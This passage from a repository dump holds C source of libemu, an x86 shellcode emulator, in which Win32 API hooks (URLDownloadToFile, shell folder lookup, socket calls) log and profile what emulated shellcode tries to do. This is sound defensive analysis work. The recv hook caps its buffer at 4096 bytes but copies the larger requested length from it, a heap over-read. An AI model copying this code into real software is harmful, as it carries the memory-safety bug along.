    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007-2011  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdlib.h>\n#include <string.h>\n\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <unistd.h>\n\n#include \"../../../config.h\"\n#include \"emu/emu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_hashtable.h\"\n#include \"emu/emu_string.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/environment/win32/env_w32_dll_export_urlmon_hooks.h\"\n\n\nint32_t\tenv_w32_hook_IEWinMain(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\tPOP_DWORD(c, &eip_save);\n/* IEWinMain(LPSTR pszCommandLine, int nShowWindow) */\n\n\tuint32_t pszCommandLine;\n\tPOP_DWORD(c, &pszCommandLine);\n\n\tuint32_t nShowWindow;\n\tPOP_DWORD(c, &nShowWindow);\n\n\tstruct emu_string *CommandLine = emu_string_new();\n\temu_memory_read_string(c->mem, pszCommandLine, CommandLine, 512);\n\n\tuint32_t returnvalue = 0;\n\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   emu_string_char(CommandLine),\n\t\t\t\t\t\t\t\t\t\t\t   nShowWindow);\n\t}else\n\t{\n\t\treturnvalue = 0;\n\t}\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"IEWinMain\");\n\n\t\temu_profile_argument_add_ptr(env->profile, \"LPSTR\", \"pszCommandLine\", pszCommandLine);\n\t\temu_profile_argument_add_string(env->profile, \"\", \"\", emu_string_char(CommandLine)); \n\t\temu_profile_argument_add_int(env->profile, \"int\", \"nShowWindow\", nShowWindow);\n\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"HRESULT\", returnvalue);\n\t}\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\temu_string_free(CommandLine);\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n"
  },
  {
    "path": "src/environment/win32/env_w32_dll_export_shell32_hooks.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n *\n *\n *             contact nepenthesdev@users.sourceforge.net\n *\n *******************************************************************************/\n\n#include <stdlib.h>\n#include <string.h>\n\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <unistd.h>\n\n#include \"../../../config.h\"\n#include \"emu/emu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_hashtable.h\"\n#include \"emu/emu_string.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/environment/win32/env_w32_dll_export_urlmon_hooks.h\"\n\nvoid GetSHFolderName(int clsid, char* buf255)\n{\n\tconst char *FolderNames[0xff] =\n\t{\n\t\t[0x00] = \"./DESKTOP\",\n\t\t[0x01] = \"./INTERNET\",\n\t\t[0x02] = \"./PROGRAMS\",\n\t\t[0x03] = \"./CONTROLS\",\n\t\t[0x04] = \"./PRINTERS\",\n\t\t[0x05] = \"./PERSONAL\",\n\t\t[0x06] = \"./FAVORITES\",\n\t\t[0x07] = \"./STARTUP\",\n\t\t[0x08] = \"./RECENT\",\n\t\t[0x09] = \"./SENDTO\",\n\t\t[0x0A] = \"./BITBUCKET\",\n\t\t[0x0B] = \"./STARTMENU\",\n\t\t[0x10] = \"./DESKTOPDIRECTORY\",\n\t\t[0x11] = \"./DRIVES\",\n\t\t[0x12] = \"./NETWORK\",\n\t\t[0x13] = \"./NETHOOD\",\n\t\t[0x14] = \"./FONTS\",\n\t\t[0x15] = \"./TEMPLATES\",\n\t\t[0x16] = \"./COMMON_STARTMENU\",\n\t\t[0x17] = \"./COMMON_PROGRAMS\",\n\t\t[0x18] = \"./COMMON_STARTUP\",\n\t\t[0x19] = \"./COMMON_DESKTOPDIRECTORY\",\n\t\t[0x1a] = \"./APPDATA\",\n\t\t[0x1b] = \"./PRINTHOOD\",\n\t\t[0x1d] = \"./ALTSTARTUP\",\n\t\t[0x1e] = \"./COMMON_ALTSTARTUP\",\n\t\t[0x1f] = \"./COMMON_FAVORITES\",\n\t\t[0x20] = \"./INTERNET_CACHE\",\n\t\t[0x21] = \"./COOKIES\",\n\t\t[0x22] = \"./HISTORY\",\n\t};\n\n\tif( clsid < 0x22 && FolderNames[clsid] != 0 )\n\t\tstrncpy(buf255, FolderNames[clsid], 254);\n\telse\n\t\tstrncpy(buf255, \"invalid id\", 254);\n}\n\n\nint32_t env_hook_SHGetSpecialFolderPathA(struct emu_env *env, struct emu_env_hook *hook)\n{\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\tstruct emu_memory *mem = emu_memory_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\n   CopyBOOL SHGetSpecialFolderPath(\n                 HWND hwndOwner,\n   __out  LPTSTR lpszPath,\n   __in   int csidl,\n   __in   BOOL fCreate\n   );\n\n */\n\tuint32_t hwnd;\n\tPOP_DWORD(c, &hwnd);\n\n\tuint32_t buf;\n\tPOP_DWORD(c, &buf);\n\n\tuint32_t csidl;\n\tPOP_DWORD(c, &csidl);\n\n\tuint32_t fCreate;\n\tPOP_DWORD(c, &fCreate);\n\n\tchar buf255[255];\n\tmemset(buf255,0,254);\n\tGetSHFolderName(csidl, (char*)&buf255);\n\n\temu_memory_write_block(mem,buf,buf255,strlen(buf255));\n\n\temu_cpu_reg32_set(c, eax, 0);\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"SHGetSpecialFolderPath\");\n\t\temu_profile_argument_add_int(env->profile, \"HWND\", \"hwndOwner\", hwnd);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCSTR\", \"lpszPath\", buf);\n\t\temu_profile_argument_add_string(env->profile, \"\", \"\", buf255);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"csidl\", csidl);\n\t\temu_profile_argument_add_int(env->profile, \"BOOL\", \"fCreate\", fCreate);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"BOOL\", c->reg[eax]);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/environment/win32/env_w32_dll_export_urlmon_hooks.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdlib.h>\n#include <string.h>\n\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <unistd.h>\n\n#include \"../../../config.h\"\n#include \"emu/emu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_hashtable.h\"\n#include \"emu/emu_string.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/environment/win32/env_w32_dll_export_urlmon_hooks.h\"\n\nint32_t\tenv_w32_hook_URLDownloadToFileA(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nHRESULT URLDownloadToFile(\n  LPUNKNOWN pCaller,\n  LPCTSTR szURL,\n  LPCTSTR szFileName,\n  DWORD dwReserved,\n  LPBINDSTATUSCALLBACK lpfnCB\n);\n*/\n\n\tuint32_t p_caller;\n\tPOP_DWORD(c, &p_caller);\n\n\tuint32_t p_url;\n\tPOP_DWORD(c, &p_url);\n\n    struct emu_string *url = emu_string_new();\n\temu_memory_read_string(c->mem, p_url, url, 512);\n\n\n\tuint32_t p_filename;\n\tPOP_DWORD(c, &p_filename);\n\n\tstruct emu_string *filename = emu_string_new();\n\temu_memory_read_string(c->mem, p_filename, filename, 512);\n\n\tuint32_t reserved;\n\tPOP_DWORD(c, &reserved);\n\n\tuint32_t statuscallbackfn;\n\tPOP_DWORD(c, &statuscallbackfn);\n\n\n\n\tuint32_t returnvalue=0;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   NULL,\n\t\t\t\t\t\t\t\t\t\t\t   emu_string_char(url),\n\t\t\t\t\t\t\t\t\t\t\t   emu_string_char(filename),\n\t\t\t\t\t\t\t\t\t\t\t   0,\n\t\t\t\t\t\t\t\t\t\t\t   NULL);\n\t}else\n\t{\n\t\treturnvalue = 0;\n\t}\n\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n//\tlogDebug(env->emu, \" %s -> %s\\n\", emu_string_char(url), emu_string_char(filename));\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"URLDownloadToFile\");\n\n\t\temu_profile_argument_add_ptr(env->profile, \"LPUNKNOWN\", \"pCaller\", p_caller);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCTSTR\", \"szURL\", p_url);\n\t\temu_profile_argument_add_string(env->profile, \"\", \"\", emu_string_char(url)); \n\t\temu_profile_argument_add_ptr(env->profile, \"LPCTSTR\", \"szFileName\", p_filename);\n\t\temu_profile_argument_add_string(env->profile, \"\", \"\", emu_string_char(filename)); \n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwReserved\", reserved);\n\t\temu_profile_argument_add_int(env->profile, \"LPBINDSTATUSCALLBACK\", \"lpfnCB\", statuscallbackfn);\n\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"HRESULT\", returnvalue);\n\t}\n\n\n\temu_string_free(url);\n\temu_string_free(filename);\n    emu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/environment/win32/env_w32_dll_export_ws2_32_hooks.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdlib.h>\n#include <string.h>\n\n// for the socket hooks\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\n#include <sys/wait.h>\n#include <unistd.h>\n\n#include \"../../../config.h\"\n#include \"emu/emu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_hashtable.h\"\n#include \"emu/emu_string.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/environment/win32/env_w32_dll_export_ws2_32_hooks.h\"\n\nint32_t\tenv_w32_hook_accept(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*SOCKET accept(\n  SOCKET s,\n  struct sockaddr* addr,\n  int* addrlen\n);*/\n\n\n\tuint32_t s;\n\tPOP_DWORD(c, &s);\n\n\tuint32_t addr;\n\tPOP_DWORD(c, &addr);\n\n\tuint32_t addrlen;\n\tPOP_DWORD(c, &addrlen);\n\n\tlogDebug(env->emu, \"accept(s=%i, addr=%x, addrlen=%i);\\n\", s, addr, addrlen);\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\tstruct sockaddr sa;\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   s,\n\t\t\t\t\t\t\t\t\t\t\t   &sa,\n\t\t\t\t\t\t\t\t\t\t\t   &addrlen);\n\t}else\n\t{\n\t\treturnvalue\t= 68;\n\t}\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"accept\");\n\t\temu_profile_argument_add_int(env->profile, \"SOCKET\", \"s\", s);\n\t\temu_profile_argument_add_ptr(env->profile, \"sockaddr *\", \"addr\", addr);\n\t\temu_profile_argument_struct_start(env->profile, \"\", \"\");\n\t\temu_profile_argument_struct_end(env->profile);\n\t\temu_profile_argument_add_ptr(env->profile, \"int\", \"addrlen\", addrlen);\n\t\temu_profile_argument_add_none(env->profile);\n\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"SOCKET\", returnvalue);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_bind(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n\n/*int bind(\n  SOCKET s,\n  const struct sockaddr* name,\n  int namelen\n); \n*/\n\n\n\tuint32_t s;\n\tPOP_DWORD(c, &s);\n\n\n\tuint32_t p_name;\n\tPOP_DWORD(c, &p_name);\n\t\n\t\n\n\tstruct sockaddr sa;\n\t\n\temu_memory_read_block(emu_memory_get(env->emu), p_name, &sa, sizeof(struct sockaddr));\n\n\n\n\tuint32_t namelen;\n\tPOP_DWORD(c, &namelen);\n\n\n\tlogDebug(env->emu, \"bind(s=%i, name=%x, namelen=%i\\n\", s, p_name, namelen);\n\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   s,\n\t\t\t\t\t\t\t\t\t\t\t   &sa,\n\t\t\t\t\t\t\t\t\t\t\t   namelen);\n\t}else\n\t{\n\t\treturnvalue\t= 0;\n\t}\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"bind\");\n\t\temu_profile_argument_add_int(env->profile, \"SOCKET\", \"s\", s);\n\t\temu_profile_argument_add_sockaddr_ptr(env->profile, \"name\", p_name, sa);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"namelen\", namelen);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", returnvalue);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n\nint32_t\tenv_w32_hook_closesocket(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n/*\nint closesocket(\n  SOCKET s\n);\n*/\n\tuint32_t s;\n\tPOP_DWORD(c, &s);\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   s);\n\t}else\n\t{\n\t\treturnvalue\t= 0;\n\t}\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"closesocket\");\n\t\temu_profile_argument_add_int(env->profile, \"SOCKET\", \"s\", s);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", returnvalue);\n\t}\n\t\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n\n\nint32_t\tenv_w32_hook_connect(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n/*\nint connect(\n  SOCKET s,\n  const struct sockaddr* name,\n  int namelen\n)\n*/\n\tuint32_t s;\n\tPOP_DWORD(c, &s);\n\n\tuint32_t p_name;\n\tPOP_DWORD(c, &p_name);\n\tstruct sockaddr sa;\n\n\temu_memory_read_block(emu_memory_get(env->emu), p_name, &sa, sizeof(struct sockaddr));\n\n\tuint32_t namelen;\n\tPOP_DWORD(c, &namelen);\n\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   s,\n\t\t\t\t\t\t\t\t\t\t\t   &sa,\n\t\t\t\t\t\t\t\t\t\t\t   namelen);\n\t}else\n\t{\n\t\treturnvalue\t= 0;\n\t}\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"connect\");\n\t\temu_profile_argument_add_int(env->profile, \"SOCKET\", \"s\", s);\n\t\temu_profile_argument_add_sockaddr_ptr(env->profile, \"name\", p_name, sa);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"namelen\", namelen);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", returnvalue);\n\t}\n\t\n\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_listen(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*int listen(\n  SOCKET s,\n  int backlog\n);\n*/\n\n\n\tuint32_t s;\n\tPOP_DWORD(c, &s);\n\n\tuint32_t backlog;\n\tPOP_DWORD(c, &backlog);\n\n\tlogDebug(env->emu, \"listen(s=%i,  backlog=%i)\\n\", s,  backlog);\n\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   s,\n\t\t\t\t\t\t\t\t\t\t\t   backlog);\n\t}else\n\t{\n\t\treturnvalue\t= 0;\n\t}\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"listen\");\n\t\temu_profile_argument_add_int(env->profile, \"SOCKET\", \"s\", s);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"backlog\", backlog);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", returnvalue);\n\t}\n\t\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n#define emu_assert(emu, x) \\\nif (x) \\\n{ \\\n\tprintf(\"Insane value at %s:%i\\n\", __FILE__, __LINE__); \\\n}\n\n\nint32_t\tenv_w32_hook_recv(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n/*\nint recv(\n  SOCKET s,\n  char* buf,\n  int len,\n  int flags\n);\n*/\n\n\tuint32_t s;\n\tPOP_DWORD(c, &s);\n\n\tuint32_t buf;\n\tPOP_DWORD(c, &buf);\n\n\tuint32_t len;\n\tPOP_DWORD(c, &len);\n\n\tuint32_t flags;\n\tPOP_DWORD(c, &flags);\n\n\tuint32_t xlen = len;\n\tif (xlen < 0 || xlen > 4096)\n\t{\n\n\t\tprintf(\"BUG\\n\");\n\t\txlen = 4096;\n\t}\n\n\temu_assert(env->emu, xlen < 0 || xlen > 4096);\n\n\tchar *buffer = (char *)malloc(xlen);\n\tmemset(buffer, 0, xlen);\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   s,\n\t\t\t\t\t\t\t\t\t\t\t   buffer,\n\t\t\t\t\t\t\t\t\t\t\t   xlen,\n\t\t\t\t\t\t\t\t\t\t\t   flags);\n\t}else\n\t{\n\t\tif (rand()%100 < 40)\n\t\t\treturnvalue = 0;\n\t\telse\n\t\t\treturnvalue = xlen;\n\t}\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\t\n\tlogDebug(env->emu, \"recv(%i, 0x%08x, %i) == %i \\n\", s, buf, xlen, (int32_t)len);\n\tif ((int32_t)returnvalue > 0)\n\t\temu_memory_write_block(emu_memory_get(env->emu), buf, buffer, len);\n\tfree(buffer);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"recv\");\n\t\temu_profile_argument_add_int(env->profile, \"SOCKET\", \"s\", s);\n\t\temu_profile_argument_add_ptr(env->profile, \"char *\", \"buf\", buf);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"len\", len);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"flags\", flags);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", returnvalue);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\t\n\treturn 0;\n}\n\n\nint32_t\tenv_w32_hook_send(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n/*\nint send(\n  SOCKET s,\n  const char* buf,\n  int len,\n  int flags\n);\n*/\n\tuint32_t s;\n\tPOP_DWORD(c, &s);\n\n\tuint32_t p_buf;\n\tPOP_DWORD(c, &p_buf);\n\n\tuint32_t len;\n\tPOP_DWORD(c, &len);\n\n\tuint32_t flags;\n\tPOP_DWORD(c, &flags);\n\n\n\tchar *buffer = NULL;\n\tuint32_t returnvalue;\n\n\tif( len <= 64*1024 )\n\t{\n\t\tbuffer = (char *)malloc(len);\n\t\tlogDebug(env->emu, \"send(%i, 0x%08x, %i,  %i)\\n\", s, p_buf, len, flags);\n\t\temu_memory_read_block(emu_memory_get(env->emu), p_buf, buffer, len);\n\t\tif ( hook->hook.win->userhook != NULL )\n\t\t{\n\t\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t\t   s,\n\t\t\t\t\t\t\t\t\t\t\t\t   buffer,\n\t\t\t\t\t\t\t\t\t\t\t\t   len,\n\t\t\t\t\t\t\t\t\t\t\t\t   flags);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturnvalue = len;\n\t\t}\n\t}else\n\t\treturnvalue = -1;\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"send\");\n\t\temu_profile_argument_add_int(env->profile, \"SOCKET\", \"s\", s);\n\t\temu_profile_argument_add_ptr(env->profile, \"const char *\", \"buf\", p_buf);\n\t\temu_profile_argument_add_bytea(env->profile, \"\", \"\", (void *)buffer, len);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"len\", len);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"flags\", flags);\n\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", returnvalue);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\n\tif( buffer != NULL )\n\t\tfree(buffer);\n\n\treturn 0;\n}\n\n\nint32_t\tenv_w32_hook_sendto(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n/*\nint sendto(\n  SOCKET s,\n  const char* buf,\n  int len,\n  int flags,\n  const struct sockaddr* to,\n  int tolen\n);\n*/\n\n\tuint32_t s;\n\tPOP_DWORD(c, &s);\n\n\tuint32_t p_buf;\n\tPOP_DWORD(c, &p_buf);\n//\n\n\tuint32_t len;\n\tPOP_DWORD(c, &len);\n\n\tuint32_t flags;\n\tPOP_DWORD(c, &flags);\n\n\tuint32_t p_to;\n\tPOP_DWORD(c, &p_to);\n\n\tuint32_t tolen;\n\tPOP_DWORD(c, &tolen);\n\n\tchar *buffer = NULL;\n\tstruct sockaddr sa;\n\tuint32_t returnvalue;\n\tif( len <= 64*1024 )\n\t{\n\t\tbuffer = (char *)malloc(len);\n\t\temu_memory_read_block(emu_memory_get(env->emu), p_buf, buffer, len);\n\t\temu_memory_read_block(emu_memory_get(env->emu), p_to, &sa, sizeof(struct sockaddr));\n\n\t\tif( hook->hook.win->userhook != NULL )\n\t\t{\n\t\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t\t   s,\n\t\t\t\t\t\t\t\t\t\t\t\t   buffer,\n\t\t\t\t\t\t\t\t\t\t\t\t   len,\n\t\t\t\t\t\t\t\t\t\t\t\t   &sa,\n\t\t\t\t\t\t\t\t\t\t\t\t   tolen);\n\t\t} else\n\t\t{\n\t\t\treturnvalue = len;\n\t\t}\n\t} else\n\t\treturnvalue\t= -1;\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tif (env->profile != 